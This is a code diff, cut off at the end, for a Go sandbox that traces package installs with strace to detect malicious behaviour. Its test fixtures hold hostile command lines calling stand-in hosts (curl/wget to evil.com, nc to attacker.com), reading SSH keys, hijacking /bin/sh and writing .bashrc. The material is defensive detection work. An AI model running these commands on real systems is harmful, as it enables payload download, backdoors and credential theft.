}{ { - name: "sh -c runs /tmp binary", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c /tmp/malware"}, - }, - { - name: "sh -c runs unknown binary", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c /usr/local/sbin/backdoor --exfil"}, - }, - { - name: "sh -c runs wget", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c wget http://evil.com -O /tmp/x"}, - }, - { - name: "sh -c runs curl", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c curl http://evil.com/payload"}, - }, - { - name: "dash -c runs nc", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/dash", Cmdline: "dash -c nc attacker.com 4444"}, - }, - { - name: "bash -c runs python", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/usr/bin/bash", Cmdline: "bash -c python3 -c 'import os; os.system(\"id\")'"}, - }, - // Command chain attacks: safe command followed by malicious command. - { - name: "semicolon chain: echo; curl", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c echo x; curl http://evil.com"}, - }, - { - name: "pipe chain: echo | nc", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c echo payload | nc attacker.com 4444"}, - }, - { - name: "and chain: true && wget", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c true && wget http://evil.com -O /tmp/x"}, - }, - { - name: "or chain: false || /tmp/malware", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c false || /tmp/malware"}, + name: "sh -c then /tmp execve (fileless attack)", + events: []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c /tmp/malware"}, + {Syscall: types.EventExecve, Comm: "/tmp/malware", Cmdline: "/tmp/malware"}, + }, + wantHighCat: types.CategoryCodeExecution, // L546 suspiciousExecDirs }, - // env abuse: env can run arbitrary commands. { - name: "env runs curl", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c env curl http://evil.com"}, + name: "sh -c curl then connect (c2)", + events: []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c curl http://evil.com/payload"}, + {Syscall: types.EventExecve, Comm: "/usr/bin/curl", Cmdline: "curl http://evil.com/payload"}, + {Syscall: types.EventConnect, DstAddr: "203.0.113.5", DstPort: 80, Family: 2}, + }, + wantHighCat: types.CategoryC2, }, - // find -exec abuse. { - name: "find -exec runs payload", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c find /tmp -exec /tmp/payload {} ;"}, + name: "sh -c wget then connect (c2)", + events: []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c wget http://evil.com -O /tmp/x"}, + {Syscall: types.EventConnect, DstAddr: "203.0.113.10", DstPort: 80, Family: 2}, + }, + wantHighCat: types.CategoryC2, }, - // Backtick command substitution. { - name: "backtick substitution", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c echo `curl evil.com`"}, + name: "sh -c nc then bind (backdoor)", + events: []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/bin/dash", Cmdline: "dash -c nc -l 4444"}, + {Syscall: types.EventBind, DstAddr: "0.0.0.0", DstPort: 4444, Family: 2}, + }, + wantHighCat: types.CategoryBackdoor, }, - // $() command substitution. { - name: "dollar-paren substitution", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c echo $(curl evil.com)"}, + name: "sh -c reads ssh key (credential access)", + events: []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c cat /home/dev/.ssh/id_rsa"}, + {Syscall: types.EventOpenat, FilePath: "/home/dev/.ssh/id_rsa", OpenFlags: "O_RDONLY"}, + }, + wantHighCat: types.CategoryCredentialAccess, }, - // File ops targeting trusted directories (binary hijack). { - name: "cp payload to /usr/local/bin", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c cp /tmp/payload /usr/local/bin/python3"}, + name: "sh -c cp overwrites system binary (binary hijack)", + events: []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c cp /tmp/payload /usr/local/bin/python3"}, + {Syscall: types.EventOpenat, FilePath: "/usr/local/bin/python3", OpenFlags: "O_WRONLY|O_CREAT"}, + }, + wantHighCat: types.CategoryBinaryHijack, }, { - name: "ln -s to /usr/bin", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c ln -s /tmp/malware /usr/bin/node"}, + name: "sh -c mv overwrites /bin/sh (binary hijack)", + events: []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c mv /tmp/backdoor /bin/sh"}, + {Syscall: types.EventRename, SrcPath: "/tmp/backdoor", DstPath: "/bin/sh"}, + }, + wantHighCat: types.CategoryBinaryHijack, }, { - name: "mv to /bin", - evt: types.SyscallEvent{Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c mv /tmp/backdoor /bin/sh"}, + name: "sh -c writes .bashrc (persistence)", + events: []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c 'echo evil >> ~/.bashrc'"}, + {Syscall: types.EventOpenat, FilePath: "/home/alice/.bashrc", OpenFlags: "O_WRONLY|O_APPEND"}, + }, + wantHighCat: types.CategoryPersistence, }, } for _, tc := range cases { t.Run(tc.name, func(t *testing.T) { - verdict, _ := Analyze([]types.SyscallEvent{tc.evt}) + verdict, filtered := Analyze(tc.events) if verdict != types.VerdictSuspicious { - t.Errorf("expected suspicious, got %s for: %s", verdict, tc.evt.Cmdline) + t.Errorf("expected suspicious (harm-firing layer should catch), got %s", verdict) + } + var sawTarget bool + for _, e := range filtered { + if e.Category == tc.wantHighCat { + sawTarget = true + break + } + } + if !sawTarget { + cats := make([]string, 0, len(filtered)) + for _, e := range filtered { + cats = append(cats, e.Category) + } + t.Errorf("expected category %q to fire, got categories %v", tc.wantHighCat, cats) + } + }) + } +} + +// TestAnalyze_ShellCStandaloneIsLow documents the inverse: a sh -c +// event with NO follow-up harm syscall must NOT flip the verdict by +// itself. This is the case that motivated the demotion — native- +// module preinstall hooks like `sh -c "cross-env FOO=bar +// node-gyp-build"` are legitimate and produce no harm syscalls when +// the build is benign. Flagging them on cmdline content alone made +// every clean npm package with native compilation register as +// suspicious. +func TestAnalyze_ShellCStandaloneIsLow(t *testing.T) { + cases := []string{ + "sh -c cross-env ZERO_AR_DATE=1 node-gyp-build", + "sh -c node-gyp-build-test", + "sh -c prebuild-install || node-gyp rebuild", + "sh -c 'echo $(curl evil.com)'", // no actual connect → clean + "sh -c 'find /tmp -exec /tmp/x {} ;'", // no actual /tmp execve → clean + } + for _, cmdline := range cases { + t.Run(cmdline, func(t *testing.T) { + verdict, filtered := Analyze([]types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: cmdline}, + }) + if verdict != types.VerdictClean { + t.Errorf("expected clean for sh -c without follow-up harm syscall, got %s", verdict) + } + if len(filtered) != 1 || filtered[0].Category != types.CategoryUnknownBinary { + t.Errorf("expected single CategoryUnknownBinary event, got %v", filtered) } }) } @@ -378,15 +470,58 @@ func TestShannonEntropy(t *testing.T) { } } -func TestAnalyze_SedExcluded(t *testing.T) { - // sed is excluded from benignPaths because GNU sed -e can execute shell commands. - events := []types.SyscallEvent{ - {Syscall: types.EventExecve, Comm: "/usr/bin/sed", Cmdline: "sed -e 1e cat /etc/passwd"}, +// TestAnalyze_SedShellExecDefense documents that sed's shell-execution +// abuse (e.g. `sed -e '1e cat /etc/passwd'`) is caught by the +// harm-firing layer when sed actually spawns a shell, not by a +// blanket sed-is-suspicious rule. +// +// sed in isolation is recorded as CategoryUnknownBinary (LOW) — +// legitimate build scripts (autoconf, configure, make) invoke sed +// constantly and we cannot blanket-flag sed without huge FP in source +// builds. When sed's `e` command actually fires, the spawned `sh -c +// ` is observed as a separate execve event and trips the +// existing sh -c branch (HIGH), preserving detection. +func TestAnalyze_SedShellExecDefense(t *testing.T) { + // sed alone is recorded for forensics but does not flip the + // verdict — there is no observable harm yet. + sedAlone := []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/usr/bin/sed", Cmdline: "sed -e s/foo/bar/ input"}, + } + verdict, filtered := Analyze(sedAlone) + if verdict != types.VerdictClean { + t.Errorf("expected clean for sed in isolation, got %s", verdict) + } + if len(filtered) != 1 || filtered[0].Category != types.CategoryUnknownBinary { + t.Errorf("expected single CategoryUnknownBinary event, got %v", filtered) } - verdict, _ := Analyze(events) + // sed's `e` command actually fires a shell that reads a + // sensitive path. After the L563 demotion the verdict comes from + // the openat on the sensitive file (credential_access HIGH), not + // from cmdline inspection. sed and its child shell are recorded + // at LOW; the openat is the verdict driver. + orig := sensitivePathPatterns + defer func() { sensitivePathPatterns = orig }() + SetSensitivePaths([]string{"/.ssh/", "/.aws/"}) + + sedSpawnsShell := []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/usr/bin/sed", Cmdline: "sed -e 1e cat /home/dev/.ssh/id_rsa input"}, + {Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c cat /home/dev/.ssh/id_rsa"}, + {Syscall: types.EventOpenat, FilePath: "/home/dev/.ssh/id_rsa", OpenFlags: "O_RDONLY"}, + } + verdict, filtered = Analyze(sedSpawnsShell) if verdict != types.VerdictSuspicious { - t.Errorf("expected suspicious for sed, got %s", verdict) + t.Errorf("expected suspicious when sed-spawned shell reads .ssh, got %s", verdict) + } + var sawCred bool + for _, e := range filtered { + if e.Category == types.CategoryCredentialAccess { + sawCred = true + break + } + } + if !sawCred { + t.Errorf("expected credential_access from the openat, got %v", filtered) } } @@ -1014,27 +1149,238 @@ func TestArgsTouchSensitivePath(t *testing.T) { } } +// TestAnalyze_ShellCmdSensitivePath documents that `sh -c cat ~/.ssh/...` +// is caught by the credential_access rule on the actual openat, not by +// inspecting the shell cmdline. Without the harm syscall the shell +// event records as CategoryUnknownBinary (LOW) for forensics. +// Superseded by TestAnalyze_ShellCMultiLayer's "reads ssh key" case; +// kept here as a focused regression against the demotion choice. func TestAnalyze_ShellCmdSensitivePath(t *testing.T) { orig := sensitivePathPatterns defer func() { sensitivePathPatterns = orig }() SetSensitivePaths([]string{"/.ssh/", "/.aws/"}) + events := []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/bin/sh", Cmdline: "sh -c cat /home/dev/.ssh/id_rsa"}, + {Syscall: types.EventOpenat, FilePath: "/home/dev/.ssh/id_rsa", OpenFlags: "O_RDONLY"}, + } + verdict, filtered := Analyze(events) + if verdict != types.VerdictSuspicious { + t.Errorf("expected suspicious for shell cmd accessing .ssh, got %s", verdict) + } + var sawCred bool + for _, e := range filtered { + if e.Category == types.CategoryCredentialAccess { + sawCred = true + break + } + } + if !sawCred { + t.Errorf("expected credential_access from the openat, got %v", filtered) + } +} + +// TestAnalyze_V8JITFilter documents the PID-based filter for V8 JIT +// pages: simultaneous RWX mprotect/mmap from a Node interpreter is +// legitimate code generation, not shellcode injection. The filter +// requires (a) the same PID appears as the target of a prior execve, +// (b) that execve's basename is a known JIT interpreter, and (c) the +// execve came from a trusted system directory — an attacker cannot +// bypass by planting a binary named "node" under /install/. +func TestAnalyze_V8JITFilter(t *testing.T) { + // Node JIT pattern from /usr/bin/node. Must NOT flip the verdict. + nodePID := uint32(1234) + jitFromNode := []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/usr/bin/node", Cmdline: "node /install/node_modules/lodash/index.js", PID: nodePID}, + {Syscall: types.EventMprotect, MemProt: "PROT_READ|PROT_WRITE|PROT_EXEC", PID: nodePID}, + {Syscall: types.EventMmap, MemProt: "PROT_READ|PROT_WRITE|PROT_EXEC", MemFlags: "MAP_PRIVATE|MAP_ANONYMOUS", PID: nodePID}, + } + verdict, _ := Analyze(jitFromNode) + if verdict != types.VerdictClean { + t.Errorf("expected clean when RWX comes from /usr/bin/node, got %s", verdict) + } + + // npm symlink (Linux binfmt_script transparently re-execs node; + // strace only sees the npm execve). The filter must treat npm + // from a trusted directory as JIT-equivalent. + npmPID := uint32(2345) + jitFromNpm := []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/usr/local/bin/npm", Cmdline: "npm run --silent --if-present preinstall", PID: npmPID}, + {Syscall: types.EventMprotect, MemProt: "PROT_READ|PROT_WRITE|PROT_EXEC", PID: npmPID}, + } + verdict, _ = Analyze(jitFromNpm) + if verdict != types.VerdictClean { + t.Errorf("expected clean when RWX comes from /usr/local/bin/npm (V8 JIT via shebang), got %s", verdict) + } + + // Shellcode injection pattern: RWX from a PID whose execve was NOT + // a JIT interpreter. Must STILL trip memory_execution. + payloadPID := uint32(5678) + shellcodeFromPayload := []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/install/node_modules/evil/payload", Cmdline: "payload", PID: payloadPID}, + {Syscall: types.EventMprotect, MemProt: "PROT_READ|PROT_WRITE|PROT_EXEC", PID: payloadPID}, + } + verdict, filtered := Analyze(shellcodeFromPayload) + if verdict != types.VerdictSuspicious { + t.Errorf("expected suspicious when RWX from non-JIT PID, got %s", verdict) + } + var sawMemExec bool + for _, e := range filtered { + if e.Category == types.CategoryMemExec { + sawMemExec = true + break + } + } + if !sawMemExec { + t.Errorf("expected memory_execution event in %v", filtered) + } + + // Bypass attempt: attacker plants a binary named "npm" or "node" + // under /install/ and exec's it. The basename matches + // jitInterpreters, but the directory is NOT in + // jitInterpreterTrustedDirs, so the filter MUST NOT suppress + // these events. Tests the path-constraint half of the filter. + for _, fakePath := range []string{ + "/install/node_modules/evil/bin/npm", + "/install/node_modules/evil/bin/node", + "/tmp/node", + } { + bypassPID := uint32(9000) + bypassAttempt := []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: fakePath, Cmdline: "fake-node", PID: bypassPID}, + {Syscall: types.EventMprotect, MemProt: "PROT_READ|PROT_WRITE|PROT_EXEC", PID: bypassPID}, + } + verdict, _ = Analyze(bypassAttempt) + if verdict != types.VerdictSuspicious { + t.Errorf("filter bypassed by %q — RWX from attacker-controlled path must NOT be filtered, got %s", fakePath, verdict) + } + } + + // PID=0 (main strace target, parser miss) does NOT get the JIT + // pass — the existing shellcode detection still fires. This + // preserves the original behavior for events the parser failed + // to attribute. + rwxNoPID := []types.SyscallEvent{ + {Syscall: types.EventMprotect, MemProt: "PROT_READ|PROT_WRITE|PROT_EXEC", PID: 0}, + } + verdict, _ = Analyze(rwxNoPID) + if verdict != types.VerdictSuspicious { + t.Errorf("expected suspicious for unattributed RWX (PID=0), got %s", verdict) + } + + // V8 worker thread pattern: node clones a thread that never + // execve's, then the thread does RWX mprotect for JIT pages. + // The clone event propagates the parent's comm to the child PID + // so the filter recognizes it. Without clone propagation, every + // real npm scan flips suspicious because V8 worker mprotect events + // leak past the filter. + parentNodePID := uint32(220) + workerPID := uint32(633) + jitFromWorkerThread := []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/usr/bin/node", PID: parentNodePID}, + {Syscall: types.EventClone, PID: parentNodePID, ChildPID: workerPID}, + {Syscall: types.EventMprotect, MemProt: "PROT_READ|PROT_WRITE|PROT_EXEC", PID: workerPID}, + } + verdict, _ = Analyze(jitFromWorkerThread) + if verdict != types.VerdictClean { + t.Errorf("expected clean when V8 worker thread (cloned from node) does RWX, got %s", verdict) + } + + // Clone chain in temporal order: node → helper → grandchild → mprotect. + // Streaming pass resolves the grandchild's comm from helper's comm + // from node's comm. Mirrors strace's natural emission order. + helperPID := uint32(800) + grandchildPID := uint32(801) + jitFromGrandchild := []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/usr/bin/node", PID: parentNodePID}, + {Syscall: types.EventClone, PID: parentNodePID, ChildPID: helperPID}, + {Syscall: types.EventClone, PID: helperPID, ChildPID: grandchildPID}, + {Syscall: types.EventMprotect, MemProt: "PROT_READ|PROT_WRITE|PROT_EXEC", PID: grandchildPID}, + } + verdict, _ = Analyze(jitFromGrandchild) + if verdict != types.VerdictClean { + t.Errorf("expected clean for clone-chain JIT (grandchild of node), got %s", verdict) + } + + // PID = 0 main strace target: when strace runs `node` directly + // as its target (as in the import phase), node's syscalls have + // no `[pid X]` prefix and extract as PID = 0. Worker-thread + // clones from PID = 0 must propagate the main target's comm to + // the child. This is the case the original V8 filter missed and + // the reason every clean npm scan stayed suspicious before this + // streaming pre-pass. + workerFromMain := uint32(638) + jitFromMainTarget := []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/usr/bin/node", PID: 0}, // strace target, no [pid X] prefix + {Syscall: types.EventClone, PID: 0, ChildPID: workerFromMain}, + {Syscall: types.EventMprotect, MemProt: "PROT_READ|PROT_WRITE|PROT_EXEC", PID: workerFromMain}, + } + verdict, _ = Analyze(jitFromMainTarget) + if verdict != types.VerdictClean { + t.Errorf("expected clean for V8 worker cloned from PID=0 main target, got %s", verdict) + } + + // Main-target disambiguation: strace prints the main target's + // syscalls WITHOUT [pid X] prefix until ambiguity forces a + // switch. From that point the SAME process appears as [pid X] + // where X is its real kernel PID. This test simulates argon2's + // import phase where node's execve appears at PID=0 but later + // node thread-clones appear under PID=634 (node's real PID). + // Without main-target aliasing, clones from PID=634 cannot find + // a parent in m and worker mprotect events leak past the JIT + // filter. The aliasing pass propagates m[0] to m[634] when 634 + // first emits a non-clone event. + nodeRealPID := uint32(634) + workerPID2 := uint32(636) + disambiguatedMainTarget := []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/usr/bin/node", PID: 0}, + {Syscall: types.EventMmap, MemProt: "PROT_NONE", PID: nodeRealPID}, // first event under disambiguated PID + {Syscall: types.EventClone, PID: nodeRealPID, ChildPID: workerPID2}, + {Syscall: types.EventMprotect, MemProt: "PROT_READ|PROT_WRITE|PROT_EXEC", PID: workerPID2}, + } + verdict, _ = Analyze(disambiguatedMainTarget) + if verdict != types.VerdictClean { + t.Errorf("expected clean for worker cloned from disambiguated main-target PID, got %s", verdict) + } + + // A child that does its own execve overrides any clone-inherited + // comm. If sh forks a child and the child execs a malicious + // binary, the child's mprotect RWX must NOT be filtered as JIT. + maliciousPID := uint32(900) + childExecveWins := []types.SyscallEvent{ + {Syscall: types.EventExecve, Comm: "/usr/bin/node", PID: parentNodePID}, + {Syscall: types.EventClone, PID: parentNodePID, ChildPID: maliciousPID}, + {Syscall: types.EventExecve, Comm: "/install/payload", PID: maliciousPID}, + {Syscall: types.EventMprotect, MemProt: "PROT_READ|PROT_WRITE|PROT_EXEC", PID: maliciousPID}, + } + verdict, _ = Analyze(childExecveWins) + if verdict != types.VerdictSuspicious { + t.Errorf("clone-then-execve must keep execve attribution, got %s — payload exec'd from clone'd child must still fire shellcode rule", verdict) + } +} + +// Unrecognized binary execve (find, dirname, arbitrary tools) that +// reaches the default branch of classifyExecve is recorded at LOW +// severity (CategoryUnknownBinary) and must not flip the verdict on +// its own. This documents the L570 default-branch demotion decided in +// the classifyExecve rationale. +func TestAnalyze_UnknownBinaryStaysClean(t *testing.T) { events := []types.SyscallEvent{ { Syscall: types.EventExecve, - Comm: "/bin/sh", - Cmdline: "sh -c cat /home/dev/.ssh/id_rsa", + Comm: "/usr/bin/find", + Cmdline: "find /install/node_modules -name package.json", }, } verdict, filtered := Analyze(events) - if verdict != types.VerdictSuspicious { - t.Errorf("expected suspicious for shell cmd accessing .ssh, got %s", verdict) + if verdict != types.VerdictClean { + t.Errorf("expected clean for unknown binary (LOW-only events), got %s", verdict) } if len(filtered) != 1 { - t.Fatalf("expected 1 event, got %d", len(filtered)) + t.Fatalf("expected 1 event recorded for forensic visibility, got %d", len(filtered)) } - if filtered[0].Category != types.CategoryCodeExecution { - t.Errorf("expected category %q, got %q", types.CategoryCodeExecution, filtered[0].Category) + if filtered[0].Category != types.CategoryUnknownBinary { + t.Errorf("expected category %q, got %q", types.CategoryUnknownBinary, filtered[0].Category) } } diff --git a/internal/probe/container_strace.go b/internal/probe/container_strace.go index b50fc5e..7e692d2 100644 --- a/internal/probe/container_strace.go +++ b/internal/probe/container_strace.go @@ -92,7 +92,19 @@ func (c *ContainerStrace) buildCommand(ctx context.Context, containerID string, "exec", containerID, "strace", "-f", "-s", "256", - "-e", "trace=connect,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4,execve,openat,rename,renameat,renameat2,sendfile,ptrace,mmap,mprotect,unlink,unlinkat", + // --quiet=attach suppresses the "strace: Process N attached" + // message that strace -f otherwise prints when it attaches to a + // new child. The message would be inserted INLINE in the middle + // of the originating clone() trace, splitting it across two + // lines and breaking single-line regex parsers. Without this + // flag, parseClone fails to match every real clone event, + // nullifying the V8 worker-thread propagation pass. + "--quiet=attach", + // clone/clone3 are traced to propagate execve comm across thread + // boundaries (V8 spawns worker threads via clone — they never + // execve so the analyzer's PID→comm map cannot attribute their + // mprotect events without seeing the parent relationship). + "-e", "trace=connect,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4,execve,clone,clone3,openat,rename,renameat,renameat2,sendfile,ptrace,mmap,mprotect,unlink,unlinkat", "-e", "signal=none", "--", } @@ -107,6 +119,7 @@ func (c *ContainerStrace) parseStraceOutput(stderr io.ReadCloser, done chan<- st state := NewParseState() scanner := bufio.NewScanner(stderr) scanner.Buffer(make([]byte, 64*1024), straceMaxLine) + for scanner.Scan() { evt, ok := parseStraceLine(scanner.Text(), state) if !ok { diff --git a/internal/probe/strace_parse.go b/internal/probe/strace_parse.go index 5e8fd3e..79232d2 100644 --- a/internal/probe/strace_parse.go +++ b/internal/probe/strace_parse.go @@ -123,6 +123,18 @@ var ( `mprotect\(0x[0-9a-f]+,\s*\d+,\s*(PROT_[A-Z_|]+PROT_WRITE[A-Z_|]*PROT_EXEC[A-Z_|]*|PROT_[A-Z_|]*PROT_EXEC[A-Z_|]*PROT_WRITE[A-Z_|]*)`, ) + // clone(child_stack=..., flags=..., ...) = 12345 + // clone3({flags=..., ...}, 88) = 12345 + // vfork() = 12345 + // The return value at the end is the new child PID. Negative + // return = failed clone, not emitted as an event. The analyzer + // uses these events to propagate the parent's execve comm to the + // new child (V8 worker threads never execve, so without this the + // PID-attribution lookup misses them). + straceCloneRe = regexp.MustCompile( + `\b(clone3?|vfork)\([^)]*\)\s*=\s*(\d+)\b`, + ) + // unlink("/tmp/.ld-linux-x86-64.py") = 0. straceUnlinkRe = regexp.MustCompile( `unlink\("([^"]+)"\)`, @@ -246,6 +258,10 @@ func parseStraceLine(line string, state *ParseState) (types.SyscallEvent, bool) return evt, true } + if evt, ok := parseClone(line); ok { + return evt, true + } + if evt, ok := parseOpenat(line); ok { return evt, true } @@ -538,6 +554,33 @@ func parseConnectOrSendto(line string, re *regexp.Regexp, syscall string) (types // (e.g. "= -1 ENOENT", "= -1 EACCES"). These are harmless PATH lookups. var execveFailedRe = regexp.MustCompile(`=\s*-1\s+E[A-Z]+`) +// parseClone extracts the (parent PID, child PID) pair from a strace +// clone/clone3/vfork line. The parent PID comes from the line's +// "[pid X]" prefix (or 0 for the main strace target); the child PID +// is the syscall's return value. Failed clones (negative return) do +// not match the regex (it requires `\d+`). +// +// The emitted event carries no Comm or Cmdline — the analyzer's +// collectPIDComm uses the parent→child mapping to copy the parent's +// execve comm to the child, which lets the V8 JIT filter cover +// worker threads that never call execve themselves. +func parseClone(line string) (types.SyscallEvent, bool) { + matches := straceCloneRe.FindStringSubmatch(line) + if matches == nil { + return types.SyscallEvent{}, false + } + childPID, err := strconv.ParseUint(matches[2], 10, 32) + if err != nil || childPID == 0 { + return types.SyscallEvent{}, false + } + return types.SyscallEvent{ + Timestamp: time.Now().UTC(), + PID: extractPID(line), + ChildPID: uint32(childPID), + Syscall: types.EventClone, + }, true +} + func parseExecve(line string) (types.SyscallEvent, bool) { matches := straceExecveRe.FindStringSubmatch(line) if matches == nil { @@ -599,7 +642,13 @@ func extractPID(line string) uint32 { return 0 } - p, err := strconv.ParseUint(pidStr[:endIdx], 10, 32) + // strace right-pads the PID with spaces to align columns, e.g. + // "[pid 12]" or "[pid 1]". strconv.ParseUint is strict and + // rejects leading spaces, so without TrimSpace every PID under 5 + // digits parses as 0 — which historically broke PID-aware analysis + // (V8 JIT filtering, process-tree correlation) for every container + // PID, since container PIDs are almost always small. + p, err := strconv.ParseUint(strings.TrimSpace(pidStr[:endIdx]), 10, 32) if err != nil { return 0 } diff --git a/internal/probe/strace_parse_extra_test.go b/internal/probe/strace_parse_extra_test.go index f27c6c0..ab72a53 100644 --- a/internal/probe/strace_parse_extra_test.go +++ b/internal/probe/strace_parse_extra_test.go @@ -210,6 +210,80 @@ func TestParseStraceLine_OpenatConfigGh(t *testing.T) { } } +func TestParseClone(t *testing.T) { + cases := []struct { + name string + line string + wantPID uint32 // parent PID (0 = main strace target) + wantChild uint32 + wantOK bool + }{ + { + name: "clone from main strace target", + line: `clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f...) = 12`, + wantPID: 0, + wantChild: 12, + wantOK: true, + }, + { + name: "clone from child PID", + line: `[pid 220] clone(child_stack=NULL, flags=CLONE_VM|CLONE_FS, child_tidptr=0x...) = 633`, + wantPID: 220, + wantChild: 633, + wantOK: true, + }, + { + name: "clone3 with structured args", + line: `[pid 220] clone3({flags=CLONE_VM|CLONE_FS|CLONE_THREAD, child_tid=0x..., parent_tid=0x..., exit_signal=0, stack=0x..., stack_size=0x...}, 88) = 634`, + wantPID: 220, + wantChild: 634, + wantOK: true, + }, + { + name: "vfork", + line: `[pid 50] vfork() = 51`, + wantPID: 50, + wantChild: 51, + wantOK: true, + }, + { + name: "failed clone — negative return rejected by regex", + line: `[pid 220] clone(...) = -1 EAGAIN`, + wantPID: 0, + wantChild: 0, + wantOK: false, + }, + { + name: "not a clone line", + line: `[pid 220] execve("/usr/bin/node", ["node"], ...) = 0`, + wantPID: 0, + wantChild: 0, + wantOK: false, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + evt, ok := parseClone(tc.line) + if ok != tc.wantOK { + t.Fatalf("ok = %v, want %v", ok, tc.wantOK) + } + if !ok { + return + } + if evt.PID != tc.wantPID { + t.Errorf("PID = %d, want %d", evt.PID, tc.wantPID) + } + if evt.ChildPID != tc.wantChild { + t.Errorf("ChildPID = %d, want %d", evt.ChildPID, tc.wantChild) + } + if evt.Syscall != "clone" { + t.Errorf("Syscall = %q, want %q", evt.Syscall, "clone") + } + }) + } +} + func TestExtractPID(t *testing.T) { cases := []struct { line string @@ -220,6 +294,13 @@ func TestExtractPID(t *testing.T) { {`connect(...)`, 0}, {`[pid abc] connect(...)`, 0}, {`[pid ] connect(...)`, 0}, + // strace right-pads small PIDs with spaces to align columns. + // Without TrimSpace handling, ParseUint would reject these and + // every container PID (almost always small) would extract as + // 0, silently disabling all PID-aware analysis downstream. + {`[pid 12] mprotect(0x7f..., 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0`, 12}, + {`[pid 1] execve("/usr/bin/sh", ...) = 0`, 1}, + {`[pid 999] openat(AT_FDCWD, "/etc/passwd", ...) = 3`, 999}, } for _, tc := range cases { diff --git a/internal/sandbox/sandbox.go b/internal/sandbox/sandbox.go index 85f5867..902dd06 100644 --- a/internal/sandbox/sandbox.go +++ b/internal/sandbox/sandbox.go @@ -176,6 +176,13 @@ func (s *Sandbox) containerArgs() ([]string, error) { "--tmpfs=/usr/local/bin:nosuid,exec,mode=0755,size=32m", "--tmpfs=/run:nosuid,size=1m", "--tmpfs=/home/dev:nosuid,mode=1777,size=32m", + // Dedicated cache tmpfs outside HOME. npm and pip are pinned here via + // NPM_CONFIG_CACHE / PIP_CACHE_DIR so their legitimate writes (logs, + // _cacache, wheel cache) never land under /home/ and never trip the + // persistence backstop. Keeps the "no /home/ writes" structural + // guarantee strict without path-based allowlists, which would let + // malicious packages smuggle artifacts under a benign-looking prefix. + "--tmpfs=/var/cache/kojuto:nosuid,mode=1777,size=200m", "--memory="+mem, "--cpus="+cpus, "--pids-limit=256", @@ -219,7 +226,19 @@ func (s *Sandbox) containerArgs() ([]string, error) { // Audit hook: load kojuto-require.js before any user code in Node.js. // This intercepts eval/Function/vm dynamic code execution. - args = append(args, "--env=NODE_OPTIONS=--require /opt/kojuto/kojuto-require.js") + // + // NPM_CONFIG_CACHE / PIP_CACHE_DIR pin package-manager caches to the + // dedicated /var/cache/kojuto tmpfs. Without these, npm writes + // /home/dev/.npm/_logs and pip writes /home/dev/.cache/pip — both + // correctly flagged as persistence by the /home/ structural backstop + // in the analyzer. Redirecting at the sandbox layer is preferable to + // relaxing the detection rule: the rule stays strict, while + // legitimate cache I/O goes to a path the analyzer never inspects. + args = append(args, + "--env=NODE_OPTIONS=--require /opt/kojuto/kojuto-require.js", + "--env=NPM_CONFIG_CACHE=/var/cache/kojuto/npm", + "--env=PIP_CACHE_DIR=/var/cache/kojuto/pip", + ) // Tell sitecustomize.py which packages are being audited so its // frame-walking logic can flag dynamic exec originating in those @@ -707,11 +726,52 @@ func (s *Sandbox) Exec(ctx context.Context, command []string) ([]byte, error) { // InstallPackage runs the install command inside the sandbox. func (s *Sandbox) InstallPackage(ctx context.Context) ([]byte, error) { - return s.Exec(ctx, s.InstallCommand()) + cmd, err := s.InstallCommand(ctx) + if 